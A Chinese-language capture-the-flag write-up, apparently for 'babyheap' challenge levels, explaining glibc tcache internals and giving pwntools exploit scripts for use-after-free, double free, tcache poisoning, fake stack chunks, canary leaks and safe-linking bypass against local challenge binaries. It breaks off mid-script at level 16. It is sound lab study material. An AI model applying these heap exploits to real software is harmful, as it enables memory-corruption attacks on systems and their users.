不入堆,不算Pwn~ .O.o.
Dynamic Allocator Misuse The glibc heap consists of many components distinct parts that balance performance and security. In this introduction to the heap, the thread caching layer, tcache
will be targeted for exploitation. tcache
is a fast thread-specific caching layer that is often the first point of interaction for programs working with dynamic memory allocations.
glibc堆由许多组件组成,这些组件是平衡性能和安全性的不同部分。在本文对堆(线程缓存层)的介绍中,缓存将成为开发的目标。Tcache是一种特定于线程的快速缓存层,它通常是处理动态内存分配的程序的第一个交互点。
level1.0 了解tcache的结构,这是一个UAF。也就是先malloc,然后free,然后read_flag,那么read_flag的时候会复用最先的创建的chunk。当然这里有个前提,就是需要在同一个bin中。同一个bin中存放大小相同的chunk。关于tcache结构体的定义:
1 2 3 4 5 6 7 8 9 10 11 typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry;
这个TCACHE_MAX_BINS
默认64(64位系统),每个bin存放大小相同的chunk。每个bin的大小范围:bin[i]
存放大小为 16 + 16*i
的块(如 bin[0]
=16字节,bin[1]
=32字节,…,bin[63]
=1032字节)。
level1.1 一样的,用ida打开看看malloc的size即可。
level2.0 这题size是随机的,但是.0是可以直接看到的。所以逻辑没变。依然先malloc,再free,再read_flag
level2.1 这题就爆破一下bin就好了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level2.1" )for i in range (63 ): size = 32 + 16 *i size = str (size).encode('ascii' ) out = p.recvuntil(b'[*] Function (malloc/free/puts/read_flag/quit): ' ) if b"pwn." in out: print (out) break p.sendline(b"malloc " + size) p.recvuntil(b'[*] Function (malloc/free/puts/read_flag/quit): ' ) p.sendline(b"free" ) p.recvuntil(b'[*] Function (malloc/free/puts/read_flag/quit): ' ) p.sendline(b"read_flag" ) p.recvuntil(b"[*] Function (malloc/free/puts/read_flag/quit): " ) p.sendline(b"puts" ) p.interactive()
level3.0 这题主要考虑是LIFO(后进先出)的free策略。例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> int main () { void *p1 = malloc (347 ); void *p2 = malloc (347 ); free (p1); free (p2); void *p3 = malloc (347 ); void *p4 = malloc (347 ); printf ("p1=%p, p2=%p, p3=%p, p4=%p\n" , p1, p2, p3, p4); return 0 ; }
那么这种情况下的执行结果为:
1 p1 =0x55a1a2b3c4d0, p2 =0x55a1a2b3c650, p3 =0x55a1a2b3c650, p4 =0x55a1a2b3c4d0
即p3
复用p2
,p4
复用p1
(这就是glibc的LIFO行为)
free
后的内存进入tcache
的流程:
检查chunk大小,如果在1032字节内,则优先放入tcache
中。
插入到bin
的链表头部(LIFO策略)
例如,free(ptr1)和free(ptr2)后,会变成tcache->bins[size_class] → ptr2 → ptr1 → NULL
,那么下次malloc时会优先分配ptr2
的chunk。
如果bin
已满(超过7个),多余的chunk会进入fastbin
或者smallbin
(取决于大小)。
所以这题先a = malloc(347), b = malloc(347)。然后再free(a), free(b)。 再read_flag,再puts(a)就行了。
level3.1 方法相同
level4.0 记住一点,free的时候只是判断chunk的key是否等于线程key而已。而线程key实际上是在创建时堆的tcache entry的地址。因此,在进行double free的时候,只需要覆盖掉key就行了。
而key和next在user_data的起始地址。这是一个复用,也就是在tcachebin
中(free后),user_data的起始地址会变成next
的起始地址,其后紧跟着的是key
。
这里,可以通过scanf来将key覆盖掉,使其不等于线程key,从而可以进行二次free。
也就是,先malloc 223
,然后free
,然后再scanf
,再输入一个长度大于8的字符串,然后再free
,此时在tcache bin
中就有两项,并且地址相同。那么这时候再使用read_flag
即可。最后puts
拿到flag
level4.1 思路一致
level5.0 这里ida打开查看源码,发现puts_flag的选项是直接打印出flag。但是有一个验证,也就是需要flag所在的chunk中,前16字节有数据。
但是,它有一个操作,就是read_flag
每次malloc
的时候都会将前8个字节直接置0,从而导致无法puts_flag
。所以,需要将read_flag
的chunk
进行free
,使其进入bin
中,如果read_flag
的chunk
进入tcache_bin
中时,tcache_bin
为空的话那么next
依然为空,还是无法通过puts_flag
进行读取,因此要保证进入tcache_bin
时,其不为空才行。
思路就是:先malloc
两个chunk,然后再free
掉。再使用read_flag
将其中一个chunk给覆盖flag。然后再free掉,此时read_flag就进入了tcache_bin
,且此时其不为空,next有值。那么就可以puts_flag
了。
level5.1 思路一致:
1 2 3 4 5 6 7 [*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc 0 472 [*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc 1 472 [*] Function (malloc/free/puts/read_flag/puts_flag/quit): free 0 [*] Function (malloc/free/puts/read_flag/puts_flag/quit): free 1 [*] Function (malloc/free/puts/read_flag/puts_flag/quit): read_flag [*] Function (malloc/free/puts/read_flag/puts_flag/quit): free 1 [*] Function (malloc/free/puts/read_flag/puts_flag/quit): puts_flag
level6.0 这题需要我们暴露secret,然后执行send_flag
再输入这个secret就可以拿到flag了。
思路是:malloc
两次,然后再free
两次。最后scanf
把leak的地址写入next中,然后再malloc两次这样就拿到secret的数据,再puts出来,然后就可以用send_flag
了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level6.0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"free 0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"free 1" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ,b"scanf 1" ) p.sendlineafter(b"Index: " ,p64(0x428d30 )) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"puts 0" ) p.interactive()
level6.1 这题也是同理,但是leak_address需要改一下,因为这题没有开启PIE,也就是用ida打开就能拿到地址了。
level7.0 除了泄露外(我尝试了一下泄露,但是发现16字节的情况下,key会在每次malloc后被修改,所以还是直接scanf将secret的地址直接改成其他数据方便),其实我们可以用scanf修改secret地址的值,然后send_flag时输入我们之前修改的值就能绕过了。
level7.1 思路一致,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level7.1" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"free 0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"free 1" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ,b"scanf 1" ) p.sendlineafter(b"Index: " ,p32(0x424a2a )) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ,b"scanf 0" ) p.sendlineafter(b"Index: " ,b"a" *16 ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ,b"send_flag" ) p.sendlineafter(b"Secret: " ,b"a" *16 ) p.interactive()
level8.0 如果你想要poison的最低字节地址中,有换行符、水平制表符等会隔绝scanf读入的值的话,可以考虑申请与你想申请的地址相近的其他地址绕过。
这里无非就是从更低的地址写入更多的数据覆盖。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level8.0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"free 0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"free 1" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ,b"scanf 1" ) p.sendlineafter(b"Index: " ,p64(0x426608 )) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ,b"scanf 0" ) p.sendlineafter(b"Index: " ,b"a" *18 ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ,b"send_flag" ) p.sendlineafter(b"Secret: " ,b"a" *16 ) p.interactive()
level8.1 exp一致,改改address就行。
level9.0 这一题不让我们把secret地址malloc出来,也就不能scanf往里写了。但是其实之前我们发现每次malloc会把key清0,之前尝试leak的时候就出现这个问题,所以才有思路scanf往里直接写。那么我们直接malloc两次就行了。第一次在secret地址,第二次在secret - 8的地址,这样就能把secret清空了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level9.0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"free 0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"free 1" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ,b"scanf 1" ) p.sendlineafter(b"Index: " ,p64(0x426553 )) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"free 0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"free 1" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ,b"scanf 1" ) p.sendlineafter(b"Index: " ,p64(0x42654b )) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ,b"send_flag" ) p.sendlineafter(b"Secret: " ,b"\x00" *16 ) p.interactive()
level9.1 exp一致,改改地址就行。
level10.0 它有两个leak,一个是main的入口地址,一个是我们malloc时保存堆地址的指针数组地址。
根据ida可以通过指针数组地址算出rbp的地址,相对应的也就控制了返回地址。那么我们通过malloc存储main返回地址的栈地址,然后将写入win函数的地址。最后再quit即可。win函数的入口地址可以通过main函数的地址算出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level10.0" ) p.recvuntil(b"[LEAK] The local stack address of your allocations is at: " ) alloc_stack = p.recv(14 ) alloc_stack = int (alloc_stack, 16 ) p.recvuntil(b"[LEAK] The address of main is at: " ) main_addr = p.recv(14 ) main_addr = int (main_addr, 16 ) ret_addr = alloc_stack + 0x118 win_addr = main_addr - 0x1afd + 0x1a00 print (hex (main_addr))print (hex (ret_addr))print (hex (win_addr)) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): " , b"free 0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): " , b"free 1" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): " , b"scanf 1" ) p.sendlineafter(b"Index: " , p64(ret_addr)) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): " , b"scanf 0" ) p.sendlineafter(b"Index: " , p64(win_addr)) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/quit): " , b"quit" ) p.interactive()
level10.1 有些奇怪的IO问题,跑exp偶尔会出错。我写的exp确实挺烂的,啊哈哈。
level11.0 这题会有fork然后执行echo。然后菜单多了个echo的选项,看一下这个echo函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 __fastcall echo (__int64 a1, __int64 a2) { char **argv; _WORD v4[7 ]; *(_QWORD *)&v4[3 ] = __readfsqword(0x28u ); strcpy ((char *)v4, "Data:" ); argv = (char **)malloc (0x20u LL); *argv = "/bin/echo" ; argv[1 ] = (char *)v4; argv[2 ] = (char *)(a1 + a2); argv[3 ] = 0LL ; if ( !fork() ) { execve(*argv, argv, 0LL ); exit (0 ); } wait(0LL ); return __readfsqword(0x28u ) ^ *(_QWORD *)&v4[3 ]; }
调试一下不难发现/bin/echo
这个字符串在base_adr + 0x33f8
处。那么可以通过echo 0 0
拿到base_adr + 0x33f8
从而算出base_addr
同理,根据rbp
所存的为上一个函数的栈地址,也就是main函数的栈帧rbp。那么通过echo 0 8
拿到v4
的地址,那么对应的也就拿到了
echo
函数的rbp
栈地址。最后根据echo
函数的栈的地址,能够根据偏移算出main
函数的rbp
地址,相应的也就拿到了main_ret
地址。最后的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level11.1" ) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"malloc 0 32" ) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"free 0" ) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"echo 0 0" ) p.recvuntil(b"Data: " ) base_addr = u64(p.recv(6 ).ljust(8 ,b"\x00" )) - 0x2110 print ("base_addr:" , hex (base_addr)) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"echo 0 8" ) p.recvuntil(b"Data: " ) main_ret_adr = u64(p.recv(6 ).ljust(8 ,b"\x00" )) + 0xe + 0x160 + 0x8 print ("main_ret_adr:" , hex (main_ret_adr)) win_addr = base_addr + 0x1500 p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"free 0" ) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"free 1" ) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"scanf 1" ) p.sendlineafter(b"Index: " , p64(main_ret_adr)) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"malloc 1 100" ) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"malloc 0 100" ) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"scanf 0" ) p.sendlineafter(b"Index: " , p64(win_addr)) p.sendlineafter(b"[*] Function (malloc/free/echo/scanf/quit): " , b"quit" ) p.interactive()
level11.1 改改偏移。
level12.0 通过stack_scanf
能够在栈上创建一个fake chunk
,这使得我们能够free。但是需要谨记free时在bin
中,chunk_size
字段的最低位要为1。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level12.1" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): " , b"stack_scanf" ) pause() p.sendline(b"a" *48 + p64(0x00 ) + p64(0x41 ) + p64(0x00 ) + p64(0x00 )) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): " , b"stack_free" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): " , b"stack_malloc_win" ) p.interactive()
level12.1 同理,只需要构造一个fake chunk
,构造fake chunk
其实只需要覆盖size
字段。
level13.0 这题有点炸裂,我看ida反编译出来的scanf
操作只能限制输入127
个字节。结果实际上是和chunk size
一致的,也就是说你的chunk size
越大那么你的scanf
就越大。这是一个傻子在疯狂算偏移之后,发现无法覆盖secret然后绞尽脑汁发现没有办法后试了一下后醒悟的
那么这exp简直不要太好写,直接覆盖掉secret
就好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level13.0" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"stack_scanf" ) pause() p.sendline(b"a" *48 + p64(0x101 ) + p64(0x101 )) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"stack_free" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"malloc 0 248" ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"scanf 0" ) p.sendlineafter(b"Index: " , b"a" *256 ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"send_flag" ) p.sendlineafter(b"Secret: " , b"a" *16 ) p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): " , b"quit" ) p.interactive()
level13.1 同上,改两个chunk_size
即可。
level14.0 echo
又回归了Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit)
它依然会malloc0x20
个字节,这题就需要泄露栈地址和基地址,然后计算出main_ret_addr
和win_addr
之前一直没说,chunk的size字段和实际申请的size的关系:
malloc(24)
时,那么实际会分配32字节的数据,24
字节的用户数据,8
字节的头部。而size
字段为:0x21
,因为三个标志位分别为:P=1
,M=0
,N=0
,最低位为P因此为0x21
思路就是首先通过echo
拿到/bin/sh
的地址,然后减去其偏移则得到程序基址。那么就得到了win
函数的入口地址。
随后,通过stack_scanf
和stack_free
创建一个fake chunk
,然后通过malloc
这个chunk从而拿到栈上的地址,再通过echo
将canary
泄露出来。最后再通过scanf
模拟栈溢出,然后覆盖返回地址为win_addr
就行了。
当然,这里有两个问题:
canary
有可能某个字节随机为制表符0x09
和0x0a
等,这种情况下使用scanf("%s",v14)
时就会出现截断,导致后面的数据不会被接收,从而出错。
同理,这里的win_addr
也有可能会出现这个问题。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level14.1" ) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"malloc 0 32" ) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"free 0" ) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"echo 0 0" ) p.recvuntil(b"Data: " ) base_addr = u64(p.recv(6 ).ljust(8 ,b"\x00" )) - 0x2110 win_addr = base_addr + 0x141d p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"stack_scanf" ) p.sendline(b"a" *48 + p64(0x00 ) + p64(0x21 )) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"stack_free" ) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"malloc 0 24" ) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"echo 0 73" ) p.recvuntil(b"Data: " ) canary = p.recv(7 ) canary = p8(0x0 ) + canaryprint ("canary:" , hex (u64(canary)))print ("base_addr:" , hex (base_addr))print ("win_addr:" , hex (win_addr)) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"stack_scanf" ) p.sendline(b"a" *48 + p64(0x00 ) + p64(0x31 )) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"stack_free" ) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"malloc 0 40" ) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"scanf" ) p.recvuntil(b"Index: " ) p.sendline(b"0" ) pause() p.sendline(b"a" *0x48 + canary + p64(0xdeadbeef ) + p64(win_addr)) p.recvuntil(b"[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit): " ) p.sendline(b"quit" ) p.interactive()
可能会出错的原因前面提了,win_addr如果存在0x09
和0x0a
那么就改一下它的地址。canary如果出现这两个字节,那么就多执行几次。
这里有更简单的办法,因为我们这里选择栈溢出的方式,所以写入的数据有点多,会导致这样的问题。当我们echo
出程序基址后,紧接着构造fake chunk
。然后malloc出来后,就能echo出很多东西了。包括canary
,stack_addr
等等。有了stack_addr
那么就能直接算出main_ret_addr
。
那么再和前面的level 11一样,通过scanf
写next
,从而使得chunk的地址为ret_addr,然后写入win_addr就行了。
level14.1 这里不能直接用win_Addr
因为它的最低位为0x09
是制表符,导致输入截断。改一下就好了。
level15.0 现在没有stack_xxx
相关的操作了。但是echo
可以泄露出来程序基址和栈地址。但是有个问题,它的free
会导致地址指针重置,也就是free 0
后会执行allocations[0]=0
。那么之前我们通过echo
泄露基地址和栈地址的方式就无法用了。
在此前,我们会先malloc(32),然后free掉。使得在执行echo的时候,其malloc的就是我们fastbin中的chunk,因此我们传入echo的参数和它申请的地址一致。所以echo 0 0
就是/bin/sh
的地址,减去偏移就是base_address的地址。echo 0 8
就是存data的地址,也就是一个栈上的地址。
相应的,因为申请chunk时地址的递增的,所以我们先申请一个32字节大小的chunk,然后在echo时它也会申请一个32字节大小的chunk,而两个chunk地址之间差0x30
,所以我们可以通过echo 0 48
来达到原先echo 0 0
的效果。
还有一个问题,由于我们无法获得fastbin中的chunk address。所以无法直接通过read
来修改next
。因此,依然需要连续的chunk来覆盖。可以先申请三个大小一致的chunk,然后free其中高地址的两个,最后通过read最低地址的chunk来覆盖到fastbin中的chunk。使得next能够指向main_ret_address
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level15.0" ) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"malloc 0 32" ) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"echo 0 48" ) p.recvuntil(b"Data: " ) base_addr = u64(p.recv(6 ).ljust(8 ,b"\x00" )) - 0x33f8 win_addr = base_addr + 0x1B0f print ("base_addr:" , hex (base_addr))print ("win_addr:" , hex (win_addr)) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"echo 0 56" ) p.recvuntil(b"Data: " ) main_ret_adr = u64(p.recv(6 ).ljust(8 ,b"\x00" )) + 0xe + 0x160 + 0x8 print ("main_ret_adr:" , hex (main_ret_adr)) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"malloc 0 48" ) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"malloc 1 48" ) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"malloc 2 48" ) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"free 2" ) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"free 1" ) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"read 0 72" ) p.sendline(b"a" *0x30 + p64(0x0 ) + p64(0x41 ) + p64(main_ret_adr)) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"malloc 1 48" ) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"malloc 0 48" ) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"read 0 8" ) p.sendline(p64(win_addr)) p.recvuntil(b"[*] Function (malloc/free/echo/read/quit): " ) p.sendline(b"quit" ) p.interactive()
level15.1 改偏移即可。
level16.0 这题没开PIE啊,可以直接拿到secret
的地址。但是glibc 2.31版本变成了2.32版本,引入了safe-linking
。
safe-linking主要靠异或实现,主要依赖以下两个函数:
1 2 3 4 #define PROTECT_PTR(pos, ptr) ((__typeof (ptr)) ((((size_t ) pos) >> 12 ) ^ ((size_t ) ptr)))#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
这两个函数分别在free和malloc函数中被引用
对于malloc
来说:
1 2 3 4 5 6 7 8 9 10 11 static __always_inline void *tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected" ); tcache->entries[tc_idx] = REVEAL_PTR (e->next); --(tcache->counts[tc_idx]); e->key = 0 ; return (void *) e; }
对于free
来说:
1 2 3 4 5 6 7 8 9 10 11 static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); e->key = tcache_key; e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
next
字段将进行next_addr >> 12 ^ next
,next的地址右移12位并和next地址的值进行异或。在safe-linking加持下,要想获得tcache中下一个堆块的实际地址,需要知道pos
和ptr
两个值,即当前堆块的mem地址,和当前堆块的mem地址的值,得知后异或即可
解题思路是:首先malloc
再free
然后通过puts
泄露当前TCACHE BIN的next段,因为在free时,会将这个BIN的地址以及这个BIN地址中的值进行移位异或,但是第一次malloc时其值为0,因此是将当前BIN的地址0xdc72c0
右移12
位变成0xdc7
。所以此时拿到的next就是堆的基地址。然后,我们需要根据secret的地址0x437f30
计算出它如果在在BIN中时的next
段的值。也就是逆向思维,通过和secret的地址移位异或计算出next
字段的值,然后再把这个next字段的值写入到BIN中,再malloc出来,这样就将secret的值留存到TCACHE BIN中,因为堆空间会复用的关系,所以我们重新malloc一个相同大小的chunk,这样就能得到前面保留secret的chunk,对于next字段是不会清空的,因此可以拿到secret的前八字节。后八字节因为malloc的时候会将key置为0,所以不用管。
注意,我们拿到的遗留的secret是经过两次移位异或的,第一次是和它本身的地址进行的异或,第二次是和heap的基地址进行异或的。
最后的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import * context.arch = "amd64" context.log_level = 'debug' p = process("/challenge/babyheap_level16.0" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"malloc 0 32" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"free 0" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"puts 0" ) p.recvuntil(b"Data: " ) en_next_mem = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" ))print ("en_next: " , hex (en_next_mem)) heap_base_addr = en_next_mem << 12 next_mem_to_write = heap_base_addr >> 12 ^ 0x437f30 p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"malloc 0 32" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"malloc 1 32" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"free 0" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) p.sendline(b"free 1" ) p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): " ) 